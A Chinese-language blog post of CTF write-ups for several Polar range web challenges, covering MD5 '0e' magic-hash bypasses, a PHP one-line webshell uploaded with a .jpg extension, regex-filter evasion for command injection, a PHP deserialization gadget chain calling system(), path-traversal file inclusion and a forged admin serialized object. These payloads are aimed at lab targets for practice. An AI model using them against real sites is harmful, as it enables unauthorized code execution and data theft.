Polar靶场-Web简单题目记录(33-40)

Polar靶场-审计题目

分析代码

1.输入检查:

  • 输入不能是数组。
  • 输入必须是一个数字(通过 is_numeric 检查)。
  • 输入的 MD5 哈希值必须以 0e 开头,并且后面跟随数字。

2.解决思路我们需要找到一个数字,其 MD5 哈希值以 0e 开头。这通常涉及到 PHP 的数字字符串转换特性。
科学记数法绕过
下列的字符串的 MD5 值都是 0e 开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
因为题目需要传数字,所以payload为?xxs=240610708

image

Polar靶场-upload1题目


image

查看题目,提示上传图片到服务器,修改一句话木马后缀为jpg,上传修改后缀

image

连接后发现访问打开flag.php以及flag为空

image

使用命令进行读取 find / -name "flag*" ,找到flag.txt

image

读取获得flag

image

Polar靶场-rapyiquan题目

代码逻辑漏洞分析

  • 主流程限制 : 仅当请求的URI( $_SERVER['REQUEST_URI'] )中不包含下划线( _ )时( checkUrlParams 返回true),才会进入命令执行逻辑。

  • 命令过滤规则 : preg_match 正则表达式禁止了 ls|cat|flag|echo|sh 等常见命令,以及 ;|*|?|$|() 等特殊符号(具体见代码注释),直接使用这些关键词会触发 badly! 提示。

绕过思路

使用括折号“ [ ”代替代替 下划线( _ ),并使用转义字符\进行绕过正则过滤

payload:?c[md=l\s /

image

payload:?c[md=ca\t%20/f\lag.php查看网站源代码获取flag

image

Polar靶场-bllbl_ser1题目

image

通过网站源代码,此题目考查为反序列化,payload构造如下:

<?php
class bllnbnl {
    public $er;
    function close() {
        eval($this->er);
    }
}

class bllbl {
    public $qiang;
    function __destruct() {
        $this->bllliang();
    }
    function bllliang() {
        $this->qiang->close();
    }
}

// 创建 bllnbnl 对象并设置 er 属性
$er_obj = new bllnbnl();
$er_obj->er = 'system("whoami");';

// 创建 bllbl 对象并设置 qiang 属性为上面创建的 bllnbnl 对象
$bllbl_obj = new bllbl();
$bllbl_obj->qiang = $er_obj;

// 序列化 bllbl 对象
$payload = serialize($bllbl_obj);

// 输出 payload
echo $payload;
?>

执行whoami,查看反序列化命令是否成功

image

执行ls查看文件路径

image

读取flag

image

Polar靶场-1ncIud3题目

文件包含题目,关键函数?page=

image

读取flag,发现存在过滤

image

查看提示,可能替换flag字样以及添加一些符号过滤

常见的替换有 f1a9 f1ag f149,flag基本在根目录下,用..././为一组进行跳目录

最终payload ?page=..././..././f1a9

image

Polar靶场-投喂题目

image

  查看题目提示,这是一道PHP反序列化漏洞的CTF题目,核心是构造包含 is_admin=true 的 User 对象序列化字符串,通过 POST 请求传递 data 参数触发反序列化,从而让服务器认为你是管理员( is_admin=true )。以下是具体代码:

<?php
class User {
    public $username;
    public $is_admin;

    function __construct($username, $is_admin) {
        $this->username = $username;
        $this->is_admin = $is_admin;
    }
}

// 创建一个 User 对象,设置 is_admin 为 true
$user = new User("admin", true);

// 序列化 User 对象
$serialized_data = serialize($user);

// 输出序列化后的数据
echo $serialized_data;
?>

获取payload O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"is_admin";b:1;}
image

获取flag

image

Polar靶场-狗黑子的RCE题目

image

分析代码逻辑

1、 $gouheizi1 从 GET 参数获取, $gouheizi2 从 POST 参数获取,并对 $gouheizi2 移除了所有 "gouheizi" 字符串。

2、使用正则表达式对 $gouheizi1 进行了严格的过滤,禁止了许多常见的命令、特殊字符等,但是未过滤转义字符

3、如果 $gouheizi2 等于 "gouheizi",则执行 system($gouheizi1),否则输出 "gouheizi!"。

image

获取flag

image

Polar靶场-button题目

查看网站源代码,发现存在script.js文件

image

发现核心代码,/proxy.php?file=flag

image

访问/proxy.php?file=flag ,右击网站源代码获取flag

image

posted @ 2025-06-07 04:53  Ktcc5  阅读(105)  评论(0)    收藏  举报